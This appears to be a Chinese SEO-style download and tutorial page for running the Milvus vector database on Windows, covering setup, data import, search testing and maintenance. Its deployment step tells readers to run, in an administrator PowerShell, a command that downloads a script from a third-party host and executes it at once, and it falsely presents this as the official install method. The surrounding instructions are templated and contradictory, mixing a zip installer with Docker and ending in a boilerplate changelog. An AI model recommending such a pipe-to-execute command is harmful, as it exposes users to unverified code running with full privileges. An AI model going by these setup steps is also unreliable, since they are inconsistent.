Milvus

平时做AI原型、搭本地小知识库，总嫌部署向量数据库太麻烦的朋友，Milvus电脑版真的省超多事!不用折腾复杂的集群配置，普通Windows电脑直接就能跑，占系统资源特别低，老开发机也能流畅带起来。高维向量秒级检索、混合搜索这些核心功能一个不少，本地验证向量应用不用连远程服务器，随手就能搭起来测效果，新手入门向量数据库也完全没门槛。

Milvus软件安装前环境要求如下

(一)、确认你的Windows电脑为amd64或arm64架构，系统版本满足Win10及以上要求，预留至少2GB可用内存、5GB以上空闲磁盘空间。

(二)、提前安装Docker Desktop for Windows，开启WSL2后端支持，这是Milvus电脑版最稳定的运行依赖环境。

(三)、从Milvus官方可信渠道下载对应Windows版本的zip格式安装包，校验文件哈希值确认安装包完整无损坏。

(四)、在本地非系统盘新建milvus专属目录，在该目录下手动创建db、conf、logs三个子文件夹，分别用于存储数据、配置文件和运行日志。

(五)、从Milvus官方GitHub仓库复制server_config.yaml和log_config.yaml两个核心配置文件内容，分别保存到conf文件夹内。

Milvus软件部署启动教程

1、右键点击Windows开始菜单，以管理员身份打开PowerShell终端，切换到你提前创建好的milvus根目录下。

2、执行官方推荐的自动化安装命令：iwr https://hexmos.com/ipm-install-ps -UseBasicParsing | iex; ipm i milvus-io/milvus，一键完成依赖拉取。

3、等待镜像拉取完成后，执行启动命令加载Milvus服务，首次启动会自动完成核心组件的初始化配置。

4、打开浏览器访问Milvus自带的本地可视化端口，确认服务状态显示为running，代表Milvus电脑版已经成功启动。

5、若启动时出现端口占用报错，打开配置文件修改默认服务端口，更换未被占用的端口后重新执行启动命令即可。

Milvus软件基础向量数据导入步骤

步骤一

确保本地Python环境版本≥3.6.执行pip命令安装pymilvus官方SDK，完成客户端环境配置。

步骤二

在Python脚本中建立与本地Milvus服务的连接，定义向量集合的字段结构，指定主键、向量字段和自定义属性字段。

步骤三

执行创建集合命令，设置向量维度、索引类型等核心参数，完成向量集合的初始化创建。

步骤四

批量生成或导入你的本地高维向量数据，调用数据插入接口，将向量和对应属性数据写入Milvus集合中。

步骤五

数据写入完成后执行flush操作，将内存中的向量数据持久化到本地db文件夹，避免服务重启后数据丢失。

Milvus软件检索功能怎么验证

---调用Milvus内置的索引构建接口，为刚导入的向量字段创建IVF_FLAT或HNSW类型的检索索引，提升检索效率。

---准备一条测试用的查询向量，调用向量相似性检索接口，设置返回topN结果数量，执行首次向量查询操作。

---查看返回的检索结果，核对向量相似度得分、关联属性字段是否与预期一致，验证检索功能正常运行。

---测试混合检索能力，在向量检索条件中叠加属性字段过滤条件，验证带过滤条件的精准检索效果。

---多次执行批量检索操作，记录检索响应耗时，确认本地环境下的检索速度满足你的使用需求。

Milvus软件日常运维与异常排查方法

1、日常运行时可查看logs文件夹下的运行日志，快速定位服务报错、数据写入失败等异常问题。

2、定期执行Milvus自带的数据备份命令，将本地向量集合全量备份，避免磁盘故障导致数据丢失。

3、若服务启动失败，先检查Docker WSL2环境是否正常运行，再核对配置文件路径、端口参数是否填写正确。

4、向量检索速度变慢时，可调整索引参数、限制单批次导入数据量，优化本地Milvus的运行性能。

5、想要彻底卸载Milvus电脑版时，先停止Docker容器，删除本地milvus目录下的所有文件，再卸载对应Docker镜像即可完全清理。

Milvus软件更新日志

1：全新界面，清爽，简单，高效

2：性能越来越好

3.提高稳定性